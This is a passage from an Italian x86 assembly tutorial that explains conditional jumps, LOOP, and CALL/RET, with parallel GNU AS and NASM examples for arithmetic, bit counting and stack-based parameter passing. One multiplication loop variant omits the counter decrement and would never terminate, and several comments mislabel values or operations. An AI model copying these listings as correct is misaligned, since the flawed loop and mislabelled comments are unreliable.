Dal momento che, ai fini del confronto tra due valori, la valutazione degli indicatori va fatta diversamente a seconda che si tratti di interi senza segno o con segno, queste istruzioni sono suddivise in sottogruppi.

Tabella 75.136. Salti condizionati dall'esito di un confronto con valori interi senza segno.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione
`JA` `JNBE`	***imm***	Dopo un confronto di valori senza segno, salta se la destinazione era maggiore dell'origine. CMP ***dst***, ***org*** IF ***dst > org*** THEN go to ***imm***
`JAE` `JNB`	***imm***	Dopo un confronto di valori senza segno, salta se la destinazione era maggiore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst >= org*** THEN go to ***imm***

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione
`JB` `JNAE`	***imm***	Dopo un confronto di valori senza segno, salta se la destinazione era minore dell'origine. CMP ***dst***, ***org*** IF ***dst*** < ***org*** THEN go to ***imm***
`JBE` `JNA`	***imm***	Dopo un confronto di valori senza segno, salta se la destinazione era minore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** <= ***org*** THEN go to ***imm***

Tabella 75.137. Salti condizionati dall'esito di un confronto con valori interi, indipendentemente dal segno.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione
`JE`	***imm***	Dopo un confronto, indipendentemente dal segno, salta se la destinazione era uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** == ***org*** THEN go to ***imm***
`JNE`	***imm***	Dopo un confronto, indipendentemente dal segno, salta se la destinazione era diversa dall'origine. CMP ***dst***, ***org*** IF ***dst*** =/= ***org*** THEN go to ***imm***

Tabella 75.138. Salti condizionati dall'esito di un confronto con valori interi con segno.

Nome	Operandi: ***dst***, ***org1***, ***org2***	Descrizione
`JG` `JNLE`	***imm***	Dopo un confronto con segno, salta se la destinazione era maggiore dell'origine. CMP ***dst***, ***org*** IF ***dst*** > ***org*** THEN go to ***imm***
`JGE` `JNL`	***imm***	Dopo un confronto con segno, salta se la destinazione era maggiore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** >= ***org*** THEN go to ***imm***
`JL` `JNGE`	***imm***	Dopo un confronto con segno, salta se la destinazione era minore dell'origine. CMP ***dst***, ***org*** IF ***dst*** < ***org*** THEN go to ***imm***
`JLE` `JNG`	***imm***	Dopo un confronto con segno, salta se la destinazione era minore o uguale all'origine. CMP ***dst***, ***org*** IF ***dst*** <= ***org*** THEN go to ***imm***

75.8.5 Cicli

È possibile realizzare dei cicli enumerativi attraverso delle istruzioni simili a quelle di salto condizionato, dove in pratica, dopo il blocco di istruzioni da reiterare, viene verificata la condizione e quindi, eventualmente, si ripete il ciclo. Si distinguono tre casi:

```
LOOP imm
```

```
LOOPE imm | LOOPZ imm
```

```
LOOPNE imm | LOOPNZ imm
```

In tutte le situazioni, il valore immediato che viene fornito come operando si riferisce al dislocamento dell'indirizzo di memoria da raggiungere (cosa che viene tradotta dal compilatore, sostituendo il simbolo con il numero appropriato). Il dislocamento consentito è breve (±128 byte), quindi non si possono realizzare cicli contenenti tante istruzioni.

In tutte le situazioni, l'istruzione decrementa prima il registro ***ECX*** (oppure solo ***CX***, se viene dichiarato l'uso di una dimensione «breve», ovvero a soli 16 bit[8]) senza alterare gli indicatori, quindi verifica se tale registro è diverso da zero. Nel caso dell'istruzione '**`LOOP`**', il fatto che il registro, dopo il decremento di una unità, contenga ancora un valore diverso da zero, è sufficiente per far scattare la ripetizione del ciclo; nel caso di '**`LOOPE`**' o di '**`LOOPZ`**', è necessario anche che l'indicatore zero sia attivo; per converso, con '**`LOOPNE`**' o '**`LOOPNZ`**', è necessario anche che l'indicatore zero non sia attivo.

75.9 Esempi di programmi con strutture di controllo

Vengono mostrati esempi di programmi estremamente banali, per dimostrare il funzionamento delle strutture di controllo, basate sostanzialmente su istruzioni di salto condizionato, attraverso l'aiuto di GDB. Per la compilazione, se si utilizza GNU AS è bene ricordare di inserire l'opzione '**`--gstabs`**', mentre con NASM è bene aggiungere l'opzione '**`-g`**', in modo da poter gestire più facilmente GDB, disponendo dei riferimenti al sorgente:

$ **as --gstabs -o *nome*.o *nome*.s** [*Invio*]

$ **nasm -g -f elf -o *nome*.o *nome*.s** [*Invio*]

75.9.1 Somma attraverso l'incremento unitario

Viene mostrato un programma che esegue la somma di due valori interi senza segno, incrementando progressivamente il primo addendo, di una unità, corrispondentemente alla riduzione di una unità del secondo. Quando il secondo addendo è stato ridotto a zero, il primo contiene il risultato della somma. Il ciclo con cui si incrementa il primo addendo è controllato dall'istruzione '**`LOOP`**':

```
# op1 + op2
#
.section .data
op1:    .int    0x00000007      # Intero senza segno.
op2:    .int    0x00000002      # Intero senza segno.
#
.section .text
.globl _start
#
_start:
    mov op1, %eax   # Primo addendo.
    mov op2, %ecx   # Secondo addendo.
bp1:
    cmp $0, %ecx    # Se il secondo addendo è zero, non esegue il ciclo
    je end_do_somma # di incrementi.
do_somma:
    inc %eax        # Aggiunge una unità a EAX.
    loop do_somma   # Ripete il ciclo se nel frattempo ECX non si è azzerato.
end_do_somma:
    mov %eax, %ebx  # Restituisce il valore ottenuto dalla somma.
    mov $1,   %eax  #
    int $0x80       #
```

```
; op1 + op2
;
section .data
op1:    dd      0x00000007      ; Intero senza segno.
op2:    dd      0x00000002      ; Intero senza segno.
;
section .text
global _start
;
_start:
    mov eax, [op1]  ; Primo addendo.
    mov ecx, [op2]  ; Secondo addendo.
bp1:
    cmp ecx, 0      ; Se il secondo addendo è zero, non esegue il ciclo
    je end_do_somma ; di incrementi.
do_somma:
    inc eax         ; Aggiunge una unità a EAX.
    loop do_somma   ; Ripete il ciclo se nel frattempo ECX non si è azzerato.
end_do_somma:
    mov ebx, eax    ; Restituisce il valore ottenuto dalla somma.
    mov eax, 1      ;
    int 0x80        ;
```

Come si può vedere, il ciclo di incremento è racchiuso tra i simboli '**`do_somma`**' e '**`end_do_somma`**'; inoltre, prima di entrare nel ciclo di somma, viene verificato che il secondo addendo sia diverso da zero, perché se è pari a zero, viene saltato il ciclo di somma, dal momento che ***EAX*** contiene già il valore corretto.

Viene mostrata una seconda versione del ciclo, dove si sostituisce l'istruzione '**LOOP**' con altre istruzioni di salto condizionato:

```
    cmp $0, %ecx    # Se il secondo addendo è zero, non esegue
    je end_do_somma # il ciclo di incrementi.
do_somma:
    inc %eax        # Aggiunge una unità a EAX.
    dec %ecx        # Riduce ECX di una unità.
    cmp $0, %ecx    # Se il secondo addendo è ancora diverso da zero,
    jnz do_somma    # allora ripete il ciclo.
end_do_somma:
```

```
    cmp ecx, 0      ; Se il secondo addendo è zero, non esegue
    je end_do_somma ; il ciclo di incrementi.
do_somma:
    inc eax         ; Aggiunge una unità a EAX.
    dec ecx         ; Riduce ECX di una unità.
    cmp ecx, 0      ; Se il secondo addendo è ancora diverso da zero,
    jnz do_somma    ; allora ripete il ciclo.
end_do_somma:
```

Viene mostrata una terza versione del ciclo, dove il controllo di uscita avviene solo all'inizio:

```
do_somma:
    cmp $0, %ecx    # Se il secondo addendo è zero, esce dal ciclo
    je end_do_somma # di incrementi.
    dec %ecx        # Riduce di una unità ECX.
    inc %eax        # Aggiunge una unità a EAX.
    jmp do_somma    # Ritorna all'inizio del ciclo.
end_do_somma:
```

```
do_somma:
    cmp ecx, 0      ; Se il secondo addendo è zero, esce dal ciclo
    je end_do_somma ; di incrementi.
    dec ecx         ; Riduce di una unità ECX.
    inc eax         ; Aggiunge una unità a EAX.
    jmp do_somma    ; Ritorna all'inizio del ciclo.
end_do_somma:
```

75.9.2 Moltiplicazione attraverso la somma

Viene mostrato un programma che esegue la moltiplicazione di due valori interi senza segno, sommando progressivamente il moltiplicando a un registro che inizialmente è pari a zero, corrispondentemente alla riduzione di una unità del moltiplicatore. Quando il moltiplicatore è stato ridotto a zero, il registro che viene incrementato contiene il risultato della moltiplicazione. Il ciclo è controllato dall'istruzione '**LOOP**':

```
# op1 * op2
#
.section .data
op1:    .int    0x00000007      # Intero senza segno.
op2:    .int    0x00000003      # Intero senza segno.
#
.section .text
.globl _start
#
_start:
    mov op1, %eax        # Moltiplicando.
    mov op2, %ecx        # Moltiplicatore.
    mov $0, %ebx         # Risultato.
bp1:
    cmp $0, %ecx         # Se il moltiplicatore è zero,
    je end_do_moltiplica # non esegue il ciclo di somme.
do_moltiplica:
    add %eax, %ebx       # Aggiunge il moltiplicando al risultato.
    loop do_moltiplica   # Ripete il ciclo se nel frattempo
                         # ECX non si è azzerato.
end_do_moltiplica:
    mov $1,   %eax       # Restituisce il valore ottenuto
    int $0x80            # dalla moltiplicazione.
```

```
; op1 * op2
;
section .data
op1:    dd      0x00000007      ; Intero senza segno.
op2:    dd      0x00000003      ; Intero senza segno.
;
section .text
global _start
;
_start:
    mov eax, [op1]       ; Moltiplicando.
    mov ecx, [op2]       ; Moltiplicatore.
    mov ebx, 0           ; Risultato.
bp1:
    cmp ecx, 0           ; Se il moltiplicatore è zero,
    je end_do_moltiplica ; non esegue il ciclo di somme.
do_moltiplica:
    add ebx, eax         ; Aggiunge il moltiplicando al risultato.
    loop do_moltiplica   ; Ripete il ciclo se nel frattempo
                         ; ECX non si è azzerato.
end_do_moltiplica:
    mov eax, 1           ; Restituisce il valore ottenuto
    int 0x80             ; dalla moltiplicazione.
```

Viene mostrata una seconda versione del ciclo, dove si sostituisce l'istruzione '**LOOP**' con altre istruzioni di salto condizionato:

```
    cmp $0, %ecx          # Se il moltiplicatore è zero,
    je end_do_moltiplica # non esegue il ciclo di somme.
do_moltiplica:
    add %eax, %ebx        # Aggiunge il moltiplicando al risultato.
    cmp $0, %ecx          # Se il moltiplicatore è ancora diverso
    jnz do_moltiplica     # da zero, allora ripete il ciclo.
end_do_moltiplica:
```

```
    cmp ecx, 0            ; Se il moltiplicatore è zero,
    je end_do_moltiplica ; non esegue il ciclo di somme.
do_moltiplica:
    add ebx, eax          ; Aggiunge il moltiplicando al risultato.
    cmp ecx, 0            ; Se il moltiplicatore è ancora diverso
    jnz do_moltiplica     ; da zero, allora ripete il ciclo.
end_do_moltiplica:
```

Viene mostrata una terza versione del ciclo, dove il controllo di uscita avviene solo all'inizio:

```
do_moltiplica:
    cmp $0, %ecx          # Se il moltiplicatore è zero,
    je end_do_moltiplica # esce dal ciclo di somme.
    dec %ecx              # Riduce di una unità il moltiplicatore.
    add %eax, %ebx        # Aggiunge il moltiplicando al risultato.
    jmp do_moltiplica     # Ritorna all'inizio del ciclo.
end_do_moltiplica:
```

```
do_moltiplica:
    cmp ecx, 0            ; Se il moltiplicatore è zero,
    je end_do_moltiplica ; esce dal ciclo di somme.
    dec ecx               ; Riduce di una unità il moltiplicatore.
    add ebx, eax          ; Aggiunge il moltiplicando al risultato.
    jmp do_moltiplica     ; Ritorna all'inizio del ciclo.
end_do_moltiplica:
```

75.9.3 Divisione attraverso la sottrazione

Viene mostrato un programma che esegue la divisione di due valori interi senza segno, sottraendo progressivamente il divisore a un registro che inizialmente è pari al valore del dividendo, corrispondentemente all'incremento di una unità del risultato (a partire da zero). Quando il registro che viene ridotto, di volta in volta, del valore del divisore, diventa minore del divisore, la divisione termina. Viene proposta una sola versione, con un ciclo controllato da una condizione iniziale:

```
# op1 / op2
#
.section .data
op1:    .int    33      # Intero senza segno.
op2:    .int    12      # Intero senza segno.
#
.section .text
.globl _start
#
_start:
    mov op1,  %eax       # Dividendo.
    mov op2,  %ecx       # Divisore.
    mov $0,   %ebx       # Risultato.
    mov %eax, %edx       # Resto.
do_dividi:
    cmp %ecx, %edx       # Se il resto è minore del divisore,
    jb end_do_dividi     # conclude il ciclo di sottrazioni.
    sub %ecx, %edx       # Sottrae al resto il divisore.
    inc %ebx             # Incrementa il risultato di una unità.
    jmp do_dividi        # Torna all'inizio del ciclo.
end_do_dividi:
    mov $1,   %eax       # Restituisce il valore ottenuto
    int $0x80            # dalla moltiplicazione.
```

```
; op1 / op2
;
section .data
op1:    dd      33      ; Intero senza segno.
op2:    dd      12      ; Intero senza segno.
;
section .text
global _start
;
_start:
    mov eax, [op1]       ; Dividendo.
    mov ecx, [op2]       ; Divisore.
    mov ebx, 0           ; Risultato.
    mov edx, eax         ; Resto.
do_dividi:
    cmp edx, ecx         ; Se il resto è minore del divisore,
    jb end_do_dividi     ; conclude il ciclo di sottrazioni.
    sub edx, ecx         ; Sottrae al resto il divisore.
    inc ebx              ; Incrementa il risultato di una unità.
    jmp do_dividi        ; Torna all'inizio del ciclo.
end_do_dividi:
    mov eax, 1           ; Restituisce il valore ottenuto
    int 0x80             ; dalla moltiplicazione.
```

75.9.4 Elevamento a potenza

«

Viene mostrato un programma che calcola la potenza di due numeri interi senza segno, moltiplicando progressivamente la base, corrispondentemente al decremento di un contatore che parte dal valore dell'esponente. Quando il contatore raggiunge lo zero, il ciclo di moltiplicazioni termina e il risultato della potenza viene emesso come valore di uscita, ammesso che sia abbastanza piccolo da poter essere rappresentato:

```
# op1 / op2
#
.section .data
op1:    .int    5       # Intero senza segno.
op2:    .int    3       # Intero senza segno.
#
.section .text
.globl _start
#
_start:
    mov op1,  %esi       # Base.
    mov op2,  %edi       # Esponente.
    mov $0,   %edx       # Risultato: EDX:EAX
    mov $1,   %eax       #
    mov %edi, %ecx       # Contatore.
do_potenza:
    cmp $0, %ecx         # Se il contatore ha raggiunto lo zero,
    jz end_do_potenza    # conclude il ciclo di moltiplicazioni.
    mul %esi             # EDX:EAX := EAX*ESI.
    dec %ecx             # Riduce di una unità il contatore.
    jmp do_potenza       # Torna all'inizio del ciclo.
end_do_potenza:
    mov %eax, %ebx       # Restituisce il valore della potenza,
    mov $1,   %eax       # ammesso che sia abbastanza piccolo
    int $0x80            # da poter essere rappresentato come
                         # valore di uscita.
```

```
; op1 / op2
;
section .data
op1:    dd      5       ; Intero senza segno.
op2:    dd      3       ; Intero senza segno.
;
section .text
global _start
;
_start:
    mov esi, [op1]       ; Base.
    mov edi, [op2]       ; Esponente.
    mov edx, 0           ; Risultato: EDX:EAX
```

```
    mov eax, 1          ;
    mov ecx, edi        ; Contatore.
do_potenza:
    cmp ecx, 0          ; Se il contatore ha raggiunto lo zero,
    jz end_do_potenza   ; conclude il ciclo di moltiplicazioni.
    mul esi             ; EDX:EAX := EAX*ESI.
    dec ecx             ; Riduce di una unità il contatore.
    jmp do_potenza      ; Torna all'inizio del ciclo.
end_do_potenza:
    mov ebx, eax        ; Restituisce il valore della potenza,
    mov eax, 1          ; ammesso che sia abbastanza piccolo
    int 0x80            ; da poter essere rappresentato come
                        ; valore di uscita.
```

75.9.5 Moltiplicazione attraverso lo scorrimento e la somma

Viene mostrato un programma che calcola il prodotto di due numeri interi senza segno, sommando progressivamente il moltiplicando che viene fatto scorrere verso sinistra. Per comprendere il procedimento occorre fare mente locale al modo in cui la moltiplicazione verrebbe eseguita a mano: il moltiplicando viene sommato al risultato (che inizialmente è pari a zero) se la cifra meno significativa del moltiplicatore è pari a uno; successivamente il moltiplicando viene fatto scorrere verso sinistra di una posizione e lo si somma nuovamente al risultato se la cifra successiva del moltiplicatore è pari a uno; quindi si continua fino a che si esauriscono le cifre del moltiplicatore.

Nel programma mostrato, durante il ciclo di somme, il moltiplicatore viene fatto scorrere verso destra, in modo da poter verificare il valore della cifra espulsa attraverso l'indicatore di riporto (*carry*). Così facendo, quando il moltiplicatore è pari a zero, il ciclo di somme può terminare.

```
# op1 * op2
#
.section .data
op1:    .byte   0x07, 0x00 # little endian = 0x0007  intero senza segno.
op2:    .byte   0x03, 0x00 # little endian = 0x0003  intero senza segno.
#
.section .text
.globl _start
#
_start:
    movzx op1,  %edx       # Moltiplicando.
    movzx op2,  %ecx       # Moltiplicatore.
    mov   $0,   %eax       # Risultato.
do_mol:
    cmp   $0,   %ecx       # Se il moltiplicatore è pari a zero, il ciclo
    jz    end_do_mol       # deve terminare.
    shr   $1,   %ecx       # Fa scorrere a destra il moltiplicatore e se
    jnc   end_do_mol_somma # l'indicatore di riporto non è attivo, salta
                           # la somma.
do_mol_somma:
```

```
    add   %edx, %eax       # Aggiunge il moltiplicando al risultato.
end_do_mol_somma:
    shl   $1,   %edx       # Fa scorrere il moltiplicando a sinistra.
    jmp   do_mol           # Torna all'inizio del ciclo.
end_do_mol:
    mov   %eax, %ebx       # Restituisce il valore del prodotto,
    mov   $1,   %eax       # ammesso che sia abbastanza piccolo
    int   $0x80            # da poter essere rappresentato come
                           # valore di uscita.
```

```
; op1 * op2
;
section .data
op1:    dw      0x0007     ; Intero senza segno.
op2:    dw      0x0003     ; Intero senza segno.
;
section .text
global _start
;
_start:
    movzx edx, word [op1]  ; Moltiplicando.
    movzx ecx, word [op2]  ; Moltiplicatore.
    mov   eax,      0      ; Risultato.
do_mol:
    cmp   ecx,      0      ; Se il moltiplicatore è pari a zero, il ciclo
    jz    end_do_mol       ; deve terminare.
    shr   ecx,      1      ; Fa scorrere a destra il moltiplicatore e se
    jnc   end_do_mol_somma ; l'indicatore di riporto non è attivo, salta
                           ; la somma.
do_mol_somma:
    add   eax,      edx    ; Aggiunge il moltiplicando al risultato.
end_do_mol_somma:
    shl   edx,      1      ; Fa scorrere il moltiplicando a sinistra.
    jmp   do_mol           ; Torna all'inizio del ciclo.
end_do_mol:
    mov   ebx,      eax    ; Restituisce il valore del prodotto,
    mov   eax,      1      ; ammesso che sia abbastanza piccolo
    int   0x80             ; da poter essere rappresentato come
                           ; valore di uscita.
```

Come si può vedere, moltiplicando e moltiplicatore sono variabili da 16 bit, in modo da avere la certezza che il risultato del prodotto sia contenibile in un registro. Nel caso del primo listato, fatto per GNU AS, lo spazio in memoria viene dichiarato come sequenza di due byte, perché manca la possibilità di definire esplicitamente un intero «corto».

75.9.6 Conteggio dei bit a uno

Viene proposto un esempio di programma che conta quanti bit a uno compongono un certo valore numerico. Per farlo, si usa lo scorrimento (in questo caso è a destra, ma non farebbe differenza) e quindi viene contato il riporto (l'indicatore di riporto è attivo se fuoriesce una cifra a uno).

```
#
.section .data
op1:       .int 44
#
.section .text
.globl _start
#
_start:
    mov   op1, %eax         # EAX contiene il numero di cui contare i bit a 1.
    mov   $0, %ecx          # ECX è il contatore dei bit a uno.
do_conta:
    cmp   $0, %eax          # Se EAX è a zero, il conteggio dei bit
    jz    end_do_conta      # si conclude.
    shr   $1, %eax          # Fa scorrere a destra EAX.
    adc   $0, %ecx          # ECX = ECX + 0 + carry.
    jmp   do_conta          # Riprende il ciclo.
end_do_conta:
    mov   %ecx, %ebx        # Restituisce la quantità di bit.
    mov   $1, %eax          #
    int   $0x80             #
```

```
;
section .data
op1:       dd 44
;
section .text
global _start
;
_start:
    mov   eax, [op1]        ; EAX contiene il numero di cui contare i bit a 1.
    mov   ecx, 0            ; ECX è il contatore dei bit a uno.
do_conta:
    cmp   eax, 0            ; Se EAX è a zero, il conteggio dei bit
    jz    end_do_conta      ; si conclude.
    shr   eax, 1            ; Fa scorrere a destra EAX.
    adc   ecx, 0            ; ECX = ECX + 0 + carry.
    jmp   do_conta          ; Riprende il ciclo.
end_do_conta:
    mov   ebx, ecx          ; Restituisce la quantità di bit.
    mov   eax, 1            ;
    int   0x80              ;
```

Viene proposto un metodo alternativo che utilizza la sottrazione e l'abbinamento con l'operatore logico AND (è descritto nella sezione 74.5.10):

```
#
.section .data
op1:      .int 44
#
.section .text
.globl _start
#
_start:
    mov   op1, %eax     # EAX contiene il numero di cui contare i bit a 1.
    mov   $0, %ecx      # ECX è il contatore dei bit a uno.
do_conta:
    cmp   $0, %eax      # Se EAX è a zero, il conteggio dei bit
    jz    end_do_conta  # si conclude.
    mov   %eax, %edx    # Fa una copia in EDX.
    dec   %eax          # Decrementa EAX di una unità.
    and   %edx, %eax    # EAX := EAX AND EDX.
    inc   %ecx          # ECX++
    jmp   do_conta      # Riprende il ciclo.
end_do_conta:
    mov   %ecx, %ebx    # Restituisce la quantità di bit.
    mov   $1, %eax      #
    int   $0x80         #
```

```
;
section .data
op1:      dd 44
;
section .text
global _start
;
_start:
    mov   eax, [op1]    ; EAX contiene il numero di cui contare i bit a 1.
    mov   ecx, 0        ; ECX è il contatore dei bit a uno.
do_conta:
    cmp   eax, 0        ; Se EAX è a zero, il conteggio dei bit
    jz    end_do_conta  ; si conclude.
    mov   edx, eax      ; Fa una copia in EDX.
    dec   eax           ; Decrementa EAX di una unità.
    and   eax, edx      ; EAX := EAX AND EDX.
    inc   ecx           ; ECX++
    jmp   do_conta      ; Riprende il ciclo.
end_do_conta:
    mov   ebx, ecx      ; Restituisce la quantità di bit.
    mov   eax, 1        ;
    int   0x80          ;
```

75.10 Funzioni

Attraverso l'uso delle istruzioni '**CALL**' e '**RET**' è possibile realizzare delle subroutine, ovvero qualcosa che assomigli alle funzioni dei linguaggi di programmazione più evoluti.

```
CALL indirizzo
```

```
RET
```

L'istruzione '**CALL**', prima di passare il controllo all'indirizzo di memoria indicato,[9] salva l'indirizzo dell'istruzione successiva alla chiamata nella pila dei dati (*stack*). Per converso, l'istruzione '**RET**' recupera dalla pila l'ultimo elemento e passa il controllo all'istruzione che si trova all'indirizzo contenuto in tale elemento estratto.

75.10.1 Esempio banale di chiamata

Per comprendere il meccanismo con cui si realizzano le subroutine, si prende in considerazione un esempio, già descritto, che calcola il prodotto tra due numeri attraverso lo scorrimento dei valori. Come sempre, vengono mostrati due listati equivalenti, fatti rispettivamente per GNU AS e NASM.

```
1   # op1 * op2
2   #
3   .section .data
4   op1:    .byte   0x07, 0x00    # little endian = 0x0005  intero senza segno.
5   op2:    .byte   0x03, 0x00    # little endian = 0x0003  intero senza segno.
6   #
7   .section .text
8   .globl _start
9   #-----------------------------------------------------------------------
10  _start:
11      movzx op1,  %edx       # Moltiplicando.
12      movzx op2,  %ecx       # Moltiplicatore.
13      mov   $0,   %eax       # Risultato.
14  bp1:
15      call  f_mol            # Esegue la moltiplicazione: EAX = EDX * ECX
16  bp2:
17      mov   %eax, %ebx       # Restituisce il valore del prodotto,
18      mov   $1,   %eax       # ammesso che sia abbastanza piccolo
19      int   $0x80            # da poter essere rappresentato come
20                             # valore di uscita.
21  #-----------------------------------------------------------------------
22  # Moltiplicazione di due numeri interi.
23  # EAX = EDX * ECX
24  # I registri EDX e ECX vengono alterati durante il procedimento.
25  #
26  f_mol:
27      cmp   $0,   %ecx       # Se il moltiplicatore è pari a zero, il ciclo
```

```
28      jz    f_end_mol         # deve terminare.
29      shr   $1,   %ecx        # Fa scorrere a destra il moltiplicatore e se
30      jnc   end_do_somma      # l'indicatore di riporto non è attivo, salta
31                              # la somma.
32  do_somma:
33      add   %edx, %eax        # Aggiunge il moltiplicando al risultato.
34  end_do_somma:
35      shl   $1,   %edx        # Fa scorrere il moltiplicando a sinistra.
36      jmp   f_mol             # Torna all'inizio della funzione.
37  f_end_mol:
38      ret                     # Torna all'istruzione successiva alla chiamata.
```

```
1   ; op1 * op2
2   ;
3   section .data
4   op1:    dw      0x0007    ; Intero senza segno.
5   op2:    dw      0x0003    ; Intero senza segno.
6   ;
7   section .text
8   global _start
9   ;------------------------------------------------------------------------
10  _start:
11      movzx edx, word [op1]  ; Moltiplicando.
12      movzx ecx, word [op2]  ; Moltiplicatore.
13      mov   eax,      0      ; Risultato.
14  bp1:
15      call  f_mol            ; Esegue la moltiplicazione: EAX = EDX * ECX
16  bp2:
17      mov   ebx,      eax    ; Restituisce il valore del prodotto,
18      mov   eax,      1      ; ammesso che sia abbastanza piccolo
19      int   0x80             ; da poter essere rappresentato come
20                             ; valore di uscita.
21  ;------------------------------------------------------------------------
22  ; Moltiplicazione di due numeri interi.
23  ; EAX = EDX * ECX
24  ; I registri EDX e ECX vengono alterati durante il procedimento.
25  ;
26  f_mol:
27      cmp   ecx,      0      ; Se il moltiplicatore è pari a zero, il ciclo
28      jz    f_end_mol        ; deve terminare.
29      shr   ecx,      1      ; Fa scorrere a destra il moltiplicatore e se
30      jnc   end_do_somma     ; l'indicatore di riporto non è attivo, salta
31                             ; la somma.
32  do_somma:
33      add   eax,      edx    ; Aggiunge il moltiplicando al risultato.
34  end_do_somma:
35      shl   edx,      1      ; Fa scorrere il moltiplicando a sinistra.
36      jmp   f_mol            ; Torna all'inizio della funzione.
37  f_end_mol:
38      ret                    ; Torna all'istruzione successiva alla chiamata.
```

Si osservi che il programma viene eseguito a partire dalla riga 11 e che si conclude alla riga 19. La subroutine, ovvero la funzione che esegue la moltiplicazione, si trova in un gruppo di istruzioni successive, il cui inizio è segnalato dal simbolo '**`f_mol`**'.

La funzione riceve il moltiplicando e il moltiplicatore attraverso due registri, utilizzando a sua volta un altro registro per restituire il risultato.

75.10.2 Salvataggio dei registri prima della chiamata

Ogni funzione ha la necessità di elaborare dati senza interferire con il resto del programma; in pratica, ogni funzione deve poter utilizzare i registri con una certa libertà. Nell'esempio precedente vengono utilizzati dei registri per passare alla funzione i valori da moltiplicare, ma all'interno della funzione il contenuto dei registri viene modificato. Per lo scopo dell'esempio, il fatto che i registri ***ECX*** e ***EDX*** vengano modificati, non produce effetti collaterali, ma in un programma più complesso potrebbe essere il caso di salvaguardare il contenuto originale dei registri prima della chiamata di una funzione. L'esempio successivo mostra una variante del codice contenuto tra i simboli '**`bp1`**' e '**`bp2`**', allo scopo di conservare una copia dei registri che contengono il moltiplicando e il moltiplicatore, per ripristinarla dopo la chiamata:

```
bp1:
    push  %ecx          # Salva il moltiplicatore nella pila.
    push  %edx          # Salva il moltiplicando nella pila.
    call  f_mol         # Esegue la moltiplicazione: EAX = EDX * ECX
    pop   %edx          # Recupera il moltiplicando dalla pila.
    pop   %ecx          # Recupera il moltiplicatore dalla pila.
bp2:
```

```
bp1:
    push  ecx           ; Salva il moltiplicatore nella pila.
    push  edx           ; Salva il moltiplicando nella pila.
    call  f_mol         ; Esegue la moltiplicazione: EAX = EDX * ECX
    pop   edx           ; Recupera il moltiplicando dalla pila.
    pop   ecx           ; Recupera il moltiplicatore dalla pila.
bp2:
```

Come si può intendere, il recupero dei valori dalla pila deve avvenire in senso inverso.

75.10.3 Passaggio di parametri attraverso la pila

Per rendere più libera la funzione dal programma chiamante, conviene utilizzare la stessa pila per il passaggio dei parametri. In pratica, dopo avere salvato i registri che contengono dati importanti (ammesso che ciò vada fatto), occorre accumulare nella pila gli argomenti della chiamata della funzione, secondo un ordine convenuto per la funzione stessa. All'interno della funzione, poi, si vanno a pescare questi valori per usarli nell'elaborazione.

```
# op1 * op2
#
.section .data
```

```
op1:    .byte   0x07, 0x00 # little endian = 0x0005  intero senza segno.
op2:    .byte   0x03, 0x00 # little endian = 0x0003  intero senza segno.
#
.section .text
.globl _start
#------------------------------------------------------------------------
_start:
    movzx op1,      %edx    # Moltiplicando.
    movzx op2,      %ecx    # Moltiplicatore.
bp1:
    push  %ecx              # Salva il moltiplicatore nella pila.
    push  %edx              # Salva il moltiplicando nella pila.
    #
    push  %ecx              # Inserisce il secondo parametro nella pila.
    push  %edx              # Inserisce il primo parametro nella pila.
    call  f_mol             # Esegue la moltiplicazione: EAX = EDX * ECX
    add   $4,       %esp    # Espelle il primo parametro della chiamata.
    add   $4,       %esp    # Espelle il secondo parametro della chiamata.
    #
    pop   %edx              # Recupera il moltiplicando dalla pila.
    pop   %ecx              # Recupera il moltiplicatore dalla pila.
bp2:
    mov   %eax,     %ebx    # Restituisce il valore del prodotto,
    mov   $1,       %eax    # ammesso che sia abbastanza piccolo
    int   $0x80             # da poter essere rappresentato come
                            # valore di uscita.
#------------------------------------------------------------------------
# Moltiplicazione di due numeri interi.
# f_mol (a, b) => EAX
# EAX = a * b
#
f_mol:
    mov   4(%esp), %edx     # Copia il primo parametro in EDX.
    mov   8(%esp), %ecx     # Copia il secondo parametro in ECX.
    mov   $0,      %eax     # Azzera EAX per sicurezza.
do_mol:
    cmp   $0,      %ecx     # Se il moltiplicatore è pari a zero, il ciclo
    jz    end_do_mol        # deve terminare.
    shr   $1,      %ecx     # Fa scorrere a destra il moltiplicatore e se
    jnc   end_do_somma      # l'indicatore di riporto non è attivo, salta
                            # la somma.
do_somma:
    add   %edx,    %eax     # Aggiunge il moltiplicando al risultato.
end_do_somma:
    shl   $1,      %edx     # Fa scorrere il moltiplicando a sinistra.
    jmp   do_mol            # Torna all'inizio del ciclo di moltiplicazione.
end_do_mol:
    ret                     # Torna all'istruzione successiva alla chiamata.
```

```
; op1 * op2
;
section .data
op1:    dw      0x0007      ; Intero senza segno.
op2:    dw      0x0003      ; Intero senza segno.
;
section .text
global _start
;------------------------------------------------------------------------
_start:
    movzx edx, word [op1]   ; Moltiplicando.
    movzx ecx, word [op2]   ; Moltiplicatore.
bp1:
    push  ecx               ; Salva il moltiplicatore nella pila.
    push  edx               ; Salva il moltiplicando nella pila.
    ;
    push  ecx               ; Inserisce il secondo parametro nella pila.
    push  edx               ; Inserisce il primo parametro nella pila.
    call  f_mol             ; Esegue la moltiplicazione: EAX = EDX * ECX
    add   esp,      4       ; Espelle il primo parametro della chiamata.
    add   esp,      4       ; Espelle il secondo parametro della chiamata.
    ;
    pop   edx               ; Recupera il moltiplicando dalla pila.
    pop   ecx               ; Recupera il moltiplicatore dalla pila.
bp2:
    mov   ebx,      eax     ; Restituisce il valore del prodotto,
    mov   eax,      1       ; ammesso che sia abbastanza piccolo
    int   0x80              ; da poter essere rappresentato come
                            ; valore di uscita.
;------------------------------------------------------------------------
; Moltiplicazione di due numeri interi.
; f_mol (a, b) => EAX
; EAX = a * b
;
f_mol:
    mov   edx,      [esp+4] ; Copia il primo parametro in EDX.
    mov   ecx,      [esp+8] ; Copia il secondo parametro in ECX.
    mov   eax,      0       ; Azzera EAX per sicurezza.
    ;
do_mol:
    cmp   ecx,      0      ; Se il moltiplicatore è pari a zero, il ciclo
    jz    end_do_mol       ; deve terminare.
    shr   ecx,      1      ; Fa scorrere a destra il moltiplicatore e se
